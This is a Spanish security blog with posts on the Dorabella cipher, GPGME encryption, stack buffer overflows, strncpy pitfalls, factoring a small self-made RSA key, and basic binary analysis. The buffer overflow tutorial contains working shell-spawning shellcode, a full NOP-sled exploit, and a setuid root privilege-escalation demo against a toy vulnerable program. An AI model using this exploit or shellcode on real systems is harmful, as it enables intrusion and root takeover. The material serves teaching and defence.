martes, 29 de mayo de 2007

El cifrado Dorabella

El 14 de Julio de 1897 el compositor británico Sir Edward William Elgar envió una carta cifrada a su amiga Miss Dora Penny. Un siglo después, la carta todavía no ha sido descifrada. Este curioso cifrado, que ha resistido todo tipo de criptoanálisis hasta la actualidad, consiste en 87 carácteres repartidos en 3 líneas.


Estos extraños caracteres, formados por la unión de semicírculos, parecen constituir un alfabeto de 24 símbolos.

Si se analiza la frecuencia en la que aparecen los símbolos, se puede determinar que es similar a la de un texto en inglés. Sin embargo, los análisis en esta dirección no han obtenido conclusiones satisfactorias.

El cifrado Dorabella es uno de los muchos enigmas sin resolver del mundo de la criptografía y, sin lugar a dudas, uno de los mas curiosos.


Recientemente se ha propuesto una solución en:
http://unsolvedproblems.org/S02.jpg




domingo, 20 de mayo de 2007

Criptografía con GPG y GPGME I

GnuPG es una implementación libre del estándar OpenPGP y una conocida herramienta en criptografía que permite cifrar, descifrar, firmar, verificar firmas y administrar claves.

GnuPG Made Easy o GPGME es una librería que permite acceder a GnuPG de forma sencilla, proporcionando una API de alto nivel.

A continuación vamos a ver como cifrar un archivo. Para ello es necesario disponer de una clave, por lo que si no se dispone de una puede generarse con:
$ gpg --gen-key

Para ver una lista de las claves existentes podemos ejecutar:
$ gpg --list-keys

Y para cifrar un archivo con GPG:
$ gpg --encrypt -r id file
donde id es el identificador de la clave que deseamos usar y file es el fichero a cifrar.

Para hacer lo mismo mediante GPGME usaremos la siguiente función (NOTA: para usar GPGME es necesario incluir la cabecera "gpgme.h").




int gpg_encrypt(char *fingerprint, char *src_path, char *dst_path)
{
gpgme_ctx_t ctx;
gpgme_error_t err;
gpgme_data_t in, out;
gpgme_key_t key[2] = { NULL, NULL};
gpgme_encrypt_result_t result;
#define BUF_SIZE 512
char buf[BUF_SIZE + 1];
int ret;
FILE *f;

gpgme_check_version(NULL);
setlocale(LC_ALL, "");
gpgme_set_locale(NULL, LC_CTYPE, setlocale (LC_CTYPE, NULL));
gpgme_set_locale(NULL, LC_MESSAGES, setlocale (LC_MESSAGES, NULL));

if( (err=gpgme_engine_check_version (GPGME_PROTOCOL_OpenPGP)) != 0)
{
fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));
return EXIT_FAILURE;
}

if( (err=gpgme_new(&ctx)) != 0)
{
fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));
return EXIT_FAILURE;
}

gpgme_set_armor(ctx, 1);

if( (err=gpgme_data_new_from_file (&in, src_path, 1)) != 0)
{
fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));
return EXIT_FAILURE;
}

if( (err=gpgme_data_new(&out)) != 0)
{
fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));
return EXIT_FAILURE;
}

if( (err=gpgme_get_key(ctx, fingerprint, &key[0], 0)) != 0)
{
fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));
return EXIT_FAILURE;
}

if( (err=gpgme_op_encrypt(ctx, key, GPGME_ENCRYPT_ALWAYS_TRUST,
in,out)) !=0)
{
fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));
return EXIT_FAILURE;
}

result = gpgme_op_encrypt_result(ctx);
if (result->invalid_recipients)
{
fprintf(stderr,"Invalid recipient: %s\n",result->invalid_recipients->fpr);
return EXIT_FAILURE;
}

if( (f=fopen(dst_path, "w+")) == NULL)
{
perror("fopen()");
return EXIT_FAILURE;
}

if( (ret=gpgme_data_seek (out, 0, SEEK_SET)) != 0)
{
err = gpgme_err_code_from_errno (errno);
fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));
return EXIT_FAILURE;
}

while( (ret = gpgme_data_read (out, buf, BUF_SIZE)) > 0)
fwrite (buf, ret, 1, f);

if(ret<0)
{
err = gpgme_err_code_from_errno (errno);
fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));
return EXIT_FAILURE;
}

gpgme_key_unref (key[0]);
gpgme_key_unref (key[1]);
gpgme_data_release (in);
gpgme_data_release (out);
gpgme_release (ctx);

return EXIT_SUCCESS;
}

Llamando a esta función con los parámetros adecuados cifraremos un fichero tal y como lo haríamos desde la shell con el comando gpg. Un ejemplo de llamada a la función sería el siguiente:



if(gpg_encrypt("F1234567", "secreto", "secreto.gpg") != 0)
{
... // error
}


Para compilar un programa que usa la librería GPGME disponemos de gpgme-config, que nos permite obtener los flags necesarios y las librerías. Un ejemplo de compilación es el siguiente:

$ gcc `gpgme-config --cflags --libs` -D_FILE_OFFSET_BITS=64  test.c


Finalmente, para descifrar un archivo con GPG podemos ejecutar el siguiente comando:
$ gpg --decrypt  file

GPG nos solicitará la contraseña y descifrará el archivo.

Pueden encontrarse más ejemplos de como usar esta librería en las fuentes de: GPGME.

Buffer Overflow


En este post se describe el funcionamiento de los ataques por buffer overflow. Existen muchos documentos que se ocupan de este tema, aunque considero que en su mayoría complican demasiado la explicación de un concepto que en absoluto es complicado. El objetivo de este documento es dar un enfoque sencillo y educativo al buffer overflow. Espero haberlo conseguido.

¿Qué es un buffer overflow?

Un buffer overflow, como su mismo nombre indica, consiste en escribir en un buffer mas datos de los que es capaz de contener. En el lenguaje C este caso suele darse en funciones que no comprueban el tamaño de los buffers, como strcpy(), sprintf(), etc. Un ejemplo típico y sencillo es el siguiente:





/* vulnerable.c */

void vulnerable (char *param)
{
char buffer[512];
strcpy (buffer, param);
}

int main (int argc, char **argv)
{
if (argc!=2)
{
printf ("Uso: %s \n", argv[0]);
return 0;
}

vulnerable (argv[1]);
return 0;
}




Como se puede ver en el programa anterior el buffer ha sido diseñado para contener un máximo de 512 bytes. El (mal) uso de la funcion strcpy() permite al usuario del programa copiar en el buffer más de 512 bytes, desbordandolo.



$ gcc vulnerable.c -o vulnerable
$ ./vulnerable `perl -e "print 'A'x1000;"`
Violacion de segmento



El resultado de pasar como parametro un cadena de 1000 As, ha sido un fallo de segmentación. Veamos cuál es el motivo.

El programa vulnerable, en una maquina Linux x86, utilizaría la pila del sistema como en el siguiente dibujo:






__________________ <------ %esp (Stack Pointer)
| |
| ... |
| |
|__________________|
| buffer |
|__________________|
| buffer |
|__________________|
| buffer |
|__________________|
| Frame Pointer |
|__________________|
| Return address |
|__________________|
| param |
|__________________|
| param |
|__________________|
| param |
|__________________|
| |
| ... |
| |
| |





El stack pointer es un registro que guarda la dirección donde empieza la pila. Esta dirección suele ser siempre la misma en todos los programas.

Cuando un programa llama a una función debe guardar la dirección en la que se encuentra para saber donde volver cuando la función termine. Esta dirección se guarda en el stack y es conocida como dirección de retorno.

Cuando empieza la funcion vulnerable(), se guarda en la pila los parámetros que recibe la función (param), la dirección de retorno, el frame pointer y a continuación las variables que se declaran en la función. En nuestro caso, buffer. Quedando como en el dibujo anterior.

Al desbordar buffer con la cadena de letras A (en hexadecimal 0x41), primero se sobreescreibiría el Frame Pointer, después se sobreescribiría la dirección de retorno (return address), después los parametros, etc. Quedando la pila de la siguiente manera:





__________________ <------ %esp (Stack Pointer)
| |
| ... |
| |
|__________________|

| 0x41414141 | <-- buffer
|__________________|
| 0x41414141 | <-- buffer
|__________________|
| 0x41414141 | <-- buffer
|__________________|
| 0x41414141 | <-- Frame Pointer
|__________________|
| 0x41414141 | <-- Return address
|__________________|
| 0x41414141 | <-- param
|__________________|
| 0x41414141 | <-- param
|__________________|
| 0x41414141 | <-- param
|__________________|
| |
| ... |
| |
| |




Cuando la función termine sacará la dirección de retorno de la pila y saltara a ella. Esta dirección ha sido modificada por el overflow y ahora es 0x41414141 (las As en hexadecimal). Al saltar a 0x41414141 e intentar ejecutar una instrucción, como se encuentra fuera del espacio de direcciones, obtendra un fallo de segmentación.

Es evidente que esto nos permite cambiar el flujo de ejecución del programa. Solo tenemos que ser capaces de sobreescribir la dirección de retorno con una dirección que apunte a algun lugar de la pila con codigo ejecutable.

Imaginemos que somos capaces de sobreescribir la pila con nuestro buffer overflow de manera que quede como en el siguiente dibujo:




__________________ <------ %esp (Stack Pointer)
| |
| ... |
| |
|__________________|
------> | NOP NOP NOP NOP | <-- buffer
| |__________________|
| | NOP NOP NOP NOP | <-- buffer
| |__________________|
| | SHELLCODE | <-- buffer
| |__________________|
| | RET RET RET RET | <-- Frame Pointer
| |__________________|
------- | RET RET RET RET | <-- Return address
|__________________|
| RET RET RET RET | <-- param
|__________________|
| RET RET RET RET | <-- param
|__________________|
| RET RET RET RET | <-- param
|__________________|
| |
| ... |
| |
| |





Donde NOP es una operación del procesador que no hace nada, SHELLCODE es nuestro código ejecutable y RET una dirección de retorno falseada que apunta a algun lugar de la zona de NOPs.

Si todo saliese bien, cuando el progama saltase a la dirección de retorno (modificada por el buffer overflow) iría a parar a algun lugar de la zona de NOPs y a continuación pasaria de un NOP al siguiente hasta llegar a la SHELLCODE, que sería ejecutada.

¿Sencillo no?
Pues solo es necesario desarrollar un programa (o exploit) que cree un buffer con las características mencionadas.

El único problema con el que nos podemos encontrar consiste en averiguar a que distancia del stack se encuntra la zona de NOPs. Si no acertamos, nuestro programa saltara a una zona equivocada, produciondo un error de segmentación, de intrucción no valida, etc.
Por este motivo nuestro exploit debera ser un programa parametrizado que nos permita modificar el offset (distancia del stack pointer a la zona de NOPs).

Antes de empezar con el desarrollo del exploit, es necesario hacer algunos comentarios acerca de la shellcode:
La shellcode es el código ejecutable que hay que colocar en el stack. Ahora no entraré en como se desarrolla. Solo diré que consiste en un código hexadecimal que depende del sistema operativo y la plataforma. En el exploit de ejemplo se utilizara la siguiente:



\x31\xdb\x8d\x43\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68
\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd
\x80\x31\xc0\x40\xcd\x80




Este código, para Linux x86, proporciona una shell interactiva al usuario.

Desarrollo de un exploit:

Según se ha explicado en el apartado anterior, el desarrollo del exploit consiste en crear un buffer con unas caracteristicas especiales, y utilizarlo para desbordar el programa vulnerable.

Los pasos a seguir por el exploit son los siguientes:


1. Crear un buffer de tamañoo superior al buffer original. Unos 100 bytes mas son suficientes. Aunque en nuestro caso bastaría con unos cuantos menos.

2. Buscar el stack pointer. Con una función como la siguiente:



unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}



3. Obtener una dirección de retorno restando un offset a la dirección del stack pointer.

4. Rellenar el buffer con la estructura estudiada. Más o menos asi:

BUFFER: NNNNNNNNNN SSSSSSSSSS RRRRRRRRRR


5. Ejecutar el programa vulnerable con nuestro buffer como parametro.


Veamos el programa de ejemplo:



/* exploit.c */

#define NOP 0x90

char shellcode[]=
"\x31\xdb\x8d\x43\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd"
"\x80\x31\xc0\x40\xcd\x80";

/* Retorna el stack pointer */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}

int main(int argc, char *argv[])
{
char *buffer;
char *pbuffer;

long *addr_pbuffer;
long nop_addr;

int offset=0;
int size;
int i;

if (argc!=3)
{
printf ("Uso: %s \n", argv[0]);
return 0;
}

size = atoi(argv[1]) + 100;
offset = atoi(argv[2]);

if (!(buffer = malloc(size)))
{
printf("malloc()\n");
exit(0);
}

/* Direccion aproximada de la zona de NOPs */
nop_addr = get_sp() - offset;

/*
* Llenamos el buffer con la direccion de retorno (R):
* BUFFER: RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR
*/
pbuffer = buffer;
addr_pbuffer = (long *) pbuffer;
for (i = 0; i < size; i+=4)
*(addr_pbuffer++) = nop_addr;

/*
* Llenamos la primera mitad del buffer con NOPs
* BUFFER: NNNNNNNNNNNNNNN RRRRRRRRRRRRRRRR
*/
for (i = 0; i < size/2; i++)
buffer[i] = NOP;

/*
* Ponemos la shellcode (S) en la mitad del buffer
* BUFFER: NNNNNNNNNN SSSSSSSSSS RRRRRRRRRR
*/
pbuffer = buffer + ((size/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(pbuffer++) = shellcode[i];

/* Delimitamos el final del buffer */
buffer[size - 1] = '\0';

/* Ejecutamos el exploit */
execl("./vulnerable", "vulnerable", buffer, 0);

return 0;
}


Probemos nuestro exploit:


$ gcc exploit.c -o exploit
$ ./exploit
Uso: ./exploit


Pasamos como parametro el tamaño del buffer de nuestro programa vulnerable y, de momento, un offset de 0.


$./exploit 512 0
sh-2.05b#


A la primera! Mucha suerte hemos tenido.
Probemos con un buffer inferior. Compilemos vulnerable con un buffer de 256.



...
char buffer[256];
strcpy (buffer, param);
...



$ gcc vulnerable.c -o vulnerable
$ ./exploit 256 0
Instruccion ilegal
$ ./exploit 256 100
Violacion de segmento
$ ./exploit 256 200
Violacion de segmento
$ ./exploit 256 300
Instruccion ilegal
$ ./exploit 256 400
Violacion de segmento
$ ./exploit 256 500
sh-2.05b#



En pocos intentos ya tenemos nuestra shell. Hagamos una última prueba con un buffer de 2048 bytes.




...
char buffer[2048];
strcpy (buffer, param);
...




gcc vulnerable.c -o vulnerable
$ ./exploit 2048 0
Instruccion ilegal
$ ./exploit 2048 500
Instruccion ilegal
$ ./exploit 2048 1000
sh-2.05b#



Como puede comprobarse, no resulta muy dificil encontrar la distancia desde el stack pointer a la zona de NOPs.

Para finalizar veamos un ejemplo de como puede utilizarse un ataque de buffer overflow para escalar privilegios.

Supongamos un programa vulnerable setuid. Podemos crear uno con:



$ chmod +s vulnerable
$ ls -lh vulnerable
-rwsr-sr-x 1 root root 4,9K jul 26 17:49 vulnerable


... y un usuario sin privilegios:


$ id
uid=500(pepito) gid=500(pepito) grupos=500(pepito)



El usuario sin privilegios puede explotar vulnerable y obtener su privilegio de root. Veamos:



$ id
uid=500(pepito) gid=500(pepito) grupos=500(pepito)
$ exploit 2048 1000
sh-2.05b# id
uid=0(root) gid=500(pepito) groups=500(pepito)



Referencias:

Smashing The Stack For Fun And Profit
http://www.phrack.org/phrack/49/P49-14

How to write Buffer Overflows
http://www.insecure.org/stf/mudge_buffer_overflow_tutorial.html

viernes, 18 de mayo de 2007

Sobre str*cpy() y str*cat()

Es bien conocido por los programadores de C los problemas de seguridad asociados a las funciones strcpy() y strcat(). El hecho de que no verifiquen la longitud de los datos que se estan copiando da origen a graves desbordamientos de buffer. Para evitar este problema se suelen usar las funciones strncpy() y strncat() respectivamente. Ambas, copian únicamente el número de bytes especificados. Aunque esto representa una mejora considerable sobre strcpy() y strcat() continua existiendo un problema. Si se sobrepasa el tamaño máximo en la copia, estas funciones no finalizan el string en NULL. Veamos un ejemplo de lo que pasa:




int main()
{
char a[32];
char b[8];
char *c = "aaaaaaaa";

strcpy(a, "informacion sensible");
strncpy(b, c, 8);

printf("%s\n", b);

return 0;
}




Si ejecutamos este código, la lógica nos dice que el resultado debería ser:

aaaaaaaa


Sin embargo, dado que strncpy() no pone un null al final por haber sobrepasado la lóngitud máxima (en este caso 8), el resultado será:

aaaaaaaainformacion sensible


dando lugar a un fallo de seguridad.


Para evitar este tipo de problemas existen dos opciones. La primera consiste en asegurarnos de que se pone un NULL al final del string. Por ejemplo añadiendo:

b[7]=0;


La sengunda consiste en usar funciones seguras como strlcpy() y strlcat(). Pero estas funciones no son estándar, así que no suelen estar en algunos sistemas (como por ejemplo GNU/Linux). Así que a continuación dejo una copia:




void strlcpy(char *dst, char *src, size_t size)
{
size_t len = size;
char* dstptr = dst;
char* srcptr = src;

if(len && --len)
do { if(!(*dstptr++ = *srcptr++)) break; } while(--len);

if (!len && size) *dstptr=0;
}






void strlcat(char *dst, char *src, size_t size)
{
size_t len = size;
size_t dstlen;
char *dstptr = dst;
char *srcptr = src;

while(len-- && *dstptr)
dstptr++;

dstlen = dstptr-dst;

if(!(len=size-dstlen))
return;

while(*srcptr)
{
if(len!=1)
{
*dstptr++ = *srcptr;
len--;
}
srcptr++;
}
*dstptr=0;
}

domingo, 13 de mayo de 2007

Rompiendo claves RSA

Aunque hoy por hoy no es posible romper una clave RSA de más de 1024 bits ni con miles de computadoras trabajando en paralelo, los algoritmos de factorización no dejan de mejorar. A continuación voy a explicar cómo romper una clave RSA relativamente pequeña usando uno de estos algoritmos.

Primero crearemos un entorno de pruebas con el que cifrar y descifrar. Usaremos la herramienta openssl.

Generamos un par de claves RSA de 256 bits.
$ openssl genrsa -out privkey.pem 256

# Extraemos la clave publica
$ openssl rsa -in privkey.pem -pubout -out pubkey.pem
$ cat pubkey.pem
-----BEGIN PUBLIC KEY-----
MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAK1/eaHlW68OrwaeT/X6V9mx4pkvE8mW
QScrI2z8UVBhAgMBAAE=
-----END PUBLIC KEY-----

# Algo que cifrar
$ echo ";)" > msg.txt

# Ciframos (con la clave publica)
$ openssl rsautl -encrypt -pubin -inkey pubkey.pem -in msg.txt -out msg.enc

# Desciframos (con la clave privada)
$ openssl rsautl -decrypt -inkey privkey.pem -in msg.enc
;)


Ya tenemos nuestro entorno de pruebas con un par de claves que nos pemiten cifrar y descifrar mensajes. Como RSA es un criptosistema asimétrico se supone que deberíamos distribuir la clave pública, mientras que guardaríamos con recelo la clave privada.

Nuetro objetivo será obtener la clave privada partiendo únicamente de la clave pública. Una vez obtenida descifraremos el mensaje.

RSA basa su fuerza en el problema de factorización de números grandes. Un problema matemático para el que no se conoce un algoritmo que lo resuelva de forma eficiente. Entre los algoritmos más rápidos destacan QS y NFS. Ambos implementados por la genial herramienta msieve (Instalar).

Lo primero que necesitamos es el módulo n y el exponete de cifrado. Los dos se pueden obtener facilmente a partir de la clave pública.

$ openssl rsa -in pubkey.pem -pubin -text -modulus
Modulus (256 bit):
00:ad:7f:79:a1:e5:5b:af:0e:af:06:9e:4f:f5:fa:
57:d9:b1:e2:99:2f:13:c9:96:41:27:2b:23:6c:fc:
51:50:61
Exponent: 65537 (0x10001)
Modulus=AD7F79A1E55BAF0EAF069E4FF5FA57D9B1E2992F13C99641272B236CFC515061
writing RSA key
-----BEGIN PUBLIC KEY-----
MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAK1/eaHlW68OrwaeT/X6V9mx4pkvE8mW
QScrI2z8UVBhAgMBAAE=
-----END PUBLIC KEY-----


Observemos que el módulo está en hexadecimal. Para continuar será necesario pasarlo a decimal. A continuación, lo factorizamos con msieve:



$ msieve -v 78475351858145546395020889284272950035474797715255953445997961959441362407521

Obteniendo como resultado los factores:
262908038773065572592762474383232893183
298489738938272421513567914663780208287

Únicamente nos quedará recuperar la clave original a partir de los datos obtenidos. Usaremos el programa get_priv_key.



$ ./get_priv_key 262908038773065572592762474383232893183 298489738938272421513567914663780208287 65537
-----BEGIN RSA PRIVATE KEY-----
MIGrAgEAAiEArX95oeVbrw6vBp5P9fpX2bHimS8TyZZBJysjbPxRUGECAwEAAQIg
L/uaWxEAq0iHVXBBMwk6dDC0mJubL4dVLLdiaA01NPUCEQDgjwhah0l/hqX+D3Xh
3s6fAhEAxco/F01rh+Uzf+LV2K6A/wIRANOCxcqHPRpKGFV5+H3cYF8CEEN8O0Sf
JNZsTMMQyXgyKk8CEQCRfomgf/LY71boM54D8a5C
-----END RSA PRIVATE KEY-----


Con la nueva clave privada ya podemos acceder al mensaje cifrado.


$ openssl rsautl -decrypt -inkey cracked_privkey.pem -in msg.enc
;)





Referencias:
- RSA Labs.
- Ataque de factorización a RSA (hakin9 nº19).
- On the cost of factoring RSA 1024.

Introducción al análisis de binarios

En ocasiones, frecuentemente después de un ataque, quizás durante un análisis forense, podemos encontrar misteriosos binarios en la máquina. Programas que pueden haber sido dejados por el atacante, asi como herramientas que ha utilizado o incluso binarios del sistema troyanizados.

Pueden utilizarse diversas técnicas para obtener pistas sobre lo que hace ese binario, pero lo que si esta claro que no hay que hacer, es ejecutarlo. Quién sabe que podría hacer con nuestro sistema: borrar todas rastro del ataque, destruir ficheros, o ...

Es posible que tengamos suficiente consultando Internet para averiguar que programa es. Aunque esto no siempre es suficiente, ya que econtraremos
programas con nombres poco identificativos o programados por el mismo intruso.

En este post se describe brevemente como utilizar algunas herramientas de Linux para descubrir que hace un programa del que no disponemos de codigo fuente.

Qué tipo de fichero es?

Para obtener información del tipo de fichero, en Unix disponemos de la herramienta file. Veamos un ejemplo de su uso con dos programas desconocidos;
a.out y b.out:


$ file a.out
a.out: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux
2.2.5, dynamically linked (uses shared libs), not stripped

# file b.out
b.out: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux
2.2.5, statically linked, not stripped

Podemos observar una diferencia importante entre los dos programas analizados. a.out esta enlazado dinámicamente y b.out esta enlazado estáticamente. Por defecto, en compiladores como gcc, se enlaza dinámicamente. Medinate el flag -static podemos compilar un ejecutable estático, y hacer de esta manera que no dependa de librerías externas.

Los binarios estáticos son mucho mas grandes que los dinámicos, ya que el ejecutable final dispone de todas las librerías necesarias. Estos serán más difíciles de analizar, debido a la gran cantidad de informacion que pueden contener.

Ejemplo de compilacion dinamica:
$ gcc src.c -o a.out

Ejemplo de compilacion estatica:
$ gcc -static src.c -o b.out

Resultado:
$ ls -lh
-rwxr-xr-x 1 dlerch dlerch 5,5K nov 8 12:21 a.out
-rwxr-xr-x 1 dlerch dlerch 405K nov 8 12:21 b.out
-rw-r--r-- 1 dlerch dlerch 1,5K nov 8 12:10 src.c

Otra información importante que ofrece el comando 'file' es si el binario es 'striped' o 'no striped'. Si el binario es 'striped' esto significará; que el programador ha eliminado los símbolos del fichero objeto. Simbolos que genera el compilador y que nos ayudarían enormemente en nuestra búsqueda de la funcionalidad del mismo.

Estos simbolos pueden eliminarse con el comando 'strip':
$ ls -lh a.out
-rwxr-xr-x 1 root root 5,5K nov 8 12:30 a.out
$ strip a.out
$ ls -lh a.out
-rwxr-xr-x 1 root root 3,6K nov 8 12:31 a.out

En el siguiente apartado se explica el uso del comando 'nm', el principal afectado del uso de 'strip'.

Analisis de los símbolos del fichero objeto.

El comando 'nm' sirve para listar los símbolos del código objeto. Por este motivo si el binario no dispone de símbolo debido a que se ha aplicado sobre el el comando 'strip', 'nm' no nos servira de nada.

$ strip a.out
$ nm a.out
nm: a.out: no hay simbolos

En caso de que el binario disponga de los símbolos el resultado puede darnos algunas indicaciones. Si además, el binario ha sido compilado para ofrecer información de depuración (flag -g, poco probable), todavía dispondremos de más información.

$ nm -a a.out

[Se ha suprimido parte de informacion, para abreviar]

080497f8 A __bss_start
08048454 t call_gmon_start
080497f8 b completed.1
00000000 a crtstuff.c
00000000 a crtstuff.c
080496e0 d __CTOR_END__
080496dc d __CTOR_LIST__
080497ec D __data_start
080497ec W data_start
0804866c t __do_global_ctors_aux
08048478 t __do_global_dtors_aux
080497f0 D __dso_handle
080496e8 d __DTOR_END__
080496e4 d __DTOR_LIST__
080496f0 D _DYNAMIC
080497f8 A _edata
080497fc A _end
U exit@@GLIBC_2.0
08048690 T _fini
080496dc A __fini_array_end
080496dc A __fini_array_start
080486ac R _fp_hw
080484b4 t frame_dummy
080486d8 r __FRAME_END__
080497bc D _GLOBAL_OFFSET_TABLE_
w __gmon_start__
U htons@@GLIBC_2.0
U inet_ntoa@@GLIBC_2.0
08048378 T _init
080496dc A __init_array_end
080496dc A __init_array_start
080486b0 R _IO_stdin_used
080496ec d __JCR_END__
080496ec d __JCR_LIST__
w _Jv_RegisterClasses
08048628 T __libc_csu_fini
080485e0 T __libc_csu_init
U __libc_start_main@@GLIBC_2.0
080484e0 T main
U ntohs@@GLIBC_2.0
080497f4 d p.0
U perror@@GLIBC_2.0
080496dc A __preinit_array_end
080496dc A __preinit_array_start
U printf@@GLIBC_2.0
U read@@GLIBC_2.0
U socket@@GLIBC_2.0
00000000 a src.c
08048430 T _start

Como podemos observar en la salida del comando anterior, se utilizan ciertas llamadas a la librería de C como: exit, htons, inet_ntoa, ntohs, perror, printf, read o socket. Es especialmente interesante el hecho de que existen algunas funciones de red como socket(). Sin duda este programa dispone de alguna funcionalidad de red. Sigamos investigando.

Obtener cadenas de texto.

Existe un comando que nos permite obtener las cadenas de texto que se mantienen en el fichero ejecutable. Esto nos permite obtener cierta informacion de forma rapida y sencilla. Este comando es 'strings':

$ strings a.out
/lib/ld-linux.so.2
_Jv_RegisterClasses
__gmon_start__
libc.so.6
printf
perror
socket
read
ntohs
inet_ntoa
htons
exit
_IO_stdin_used
__libc_start_main
GLIBC_2.0
PTRh(
socket()
src: %s:%d dst: %s:%d

Al parecer no hay mucha información que no nos haya proporcionado ya el comando 'nm', aunque sin duda, parte de esta información la ofrece 'strings' de una forma mas legible.

Adicionalmente al comando anterior obtenemos la cadena:

src: %s:%d dst: %s:%d

El objetivo de este programa salta a la vista ...

Analisis dinámico


Una vez estamos mas o menos seguros de que el programa no dañaría nuestro sistema en caso de ser ejecutado, podemos realizar un análisis dinámico. Este pasa por ejecutar el programa.

Disponemos de dos programas muy interesantes para hacer esto: strace y ltrace. El primero nos informa de las llamadas al sistema que efectúa el
programa, mientras que el segundo informa de las librerías a las que
llama.

Veamos una ejecucion del primero:

$ strace -o strace.out ./a.out
src: 192.168.0.3:8449 dst: 192.168.0.3:7
src: 192.168.0.3:8450 dst: 192.168.0.3:7
src: 192.168.0.3:8451 dst: 192.168.0.3:7
src: 192.168.0.3:8452 dst: 192.168.0.3:7
src: 192.168.0.3:8453 dst: 192.168.0.3:7
...
[ Finalizamos con Contrl+C ]

$ cat strace.out
execve("./a.out", ["./a.out"], [/* 37 vars */]) = 0
uname({sys="Linux", node="hackerbox", ...}) = 0
brk(0) = 0x804a000
open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or
directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=131688, ...}) = 0
old_mmap(NULL, 131688, PROT_READ, MAP_PRIVATE, 3, 0) = 0xf6fdf000
close(3) = 0
open("/lib/tls/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\313"..., 512) =
512fstat64(3, {st_mode=S_IFREG|0755, st_size=1455084, ...}) = 0
old_mmap(0xaa8000, 1158124, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0xaa8000
old_mmap(0xbbd000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3,
0x115000) = 0xbbd000
old_mmap(0xbc1000, 7148, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xbc1000
close(3) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0xf6fde000
mprotect(0xbbd000, 8192, PROT_READ) = 0
mprotect(0xaa0000, 4096, PROT_READ) = 0
set_thread_area({entry_number:-1 -> 6, base_addr:0xf6fde300, limit:1048575,
seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1,
seg_not_present:0, useable:1}) = 0
munmap(0xf6fdf000, 131688) = 0
socket(PF_INET, SOCK_PACKET, 0x300 /* IPPROTO_??? */) = 3
read(3, "\1\0^\0\0\22\0\0^\0\1\1\10\0E\20\0008\337\310@\0\377p\254"..., 54) =
54fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 3), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0xf6fff000
write(1, "src: 192.168.0.3:8449\t\tdst: 192"..., 45) = 45
read(3, "\1\0^\0\0\22\0\0^\0\1\2\10\0E\20\0008\207\324@\0\377p\4"..., 54) = 54
write(1, "src: 192.168.0.3:8450\t\tdst: 192"..., 45) = 45
read(3, "\1\0^\0\0\22\0\0^\0\1\3\10\0E\20\0008\312\334@\0\377p\301"..., 54) =
54write(1, "src: 192.168.0.3:8451\t\tdst: 192"..., 45) = 45
read(3, "\1\0^\0\0\22\0\0^\0\1\4\10\0E\20\0008\302\214@\0\377p\311"..., 54) =
54write(1, "src: 192.168.0.3:8452\t\tdst: 192"..., 45) = 45
read(3, "\1\0^\0\0\22\0\0^\0\1\5\10\0E\20\0008\213\370@\0\377p\0"..., 54) = 54
write(1, "src: 192.168.0.3:8453\t\tdst: 192"..., 45) = 45
read(3, "\0\4u\201\335L\0\260\320\276Z\271\10\0E\0\0004\36\370@"..., 54) = 54
--- SIGINT (Interrupt) @ 0 (0) ---
+++ killed by SIGINT +++

Y con ltrace:


$ ltrace -o ltrace.out ./a.out
src: 192.168.0.2:22 dst: 192.168.0.2:57378
src: 192.168.0.1:57378 dst: 192.168.0.1:22
src: 192.168.0.2:22 dst: 192.168.0.2:57378
src: 192.168.0.1:57378 dst: 192.168.0.1:22
src: 192.168.0.1:57378 dst: 192.168.0.1:22
...
[ Finalizamos con Contrl+C. Podemos ver la captura ]

$ cat ltrace.out
__libc_start_main(0x80484e0, 1, 0xfefff734, 0x80485e0, 0x8048628

htons(3, 0, 0, 0, 0) = 768
socket(2, 10, 768) = 3
read(3, "", 54) = 54
ntohs(5632) = 22
inet_ntoa(0xfd92550) = "192.168.0.2"
ntohs(8928) = 57378
inet_ntoa(0x214ea8c0) = "192.168.0.1"
printf("src: %s:%d\t\tdst: %s:%d \n", "192.168.0.1", 57378, "192.168.0.1",
22) = 49
read(3, "", 54) = 54
ntohs(5632) = 22
inet_ntoa(0xfd92550) = "192.168.0.2"
ntohs(8928) = 57378
inet_ntoa(0x214ea8c0) = "192.168.0.1"
printf("src: %s:%d\t\tdst: %s:%d \n", "192.168.0.1", 57378, "192.168.0.1",
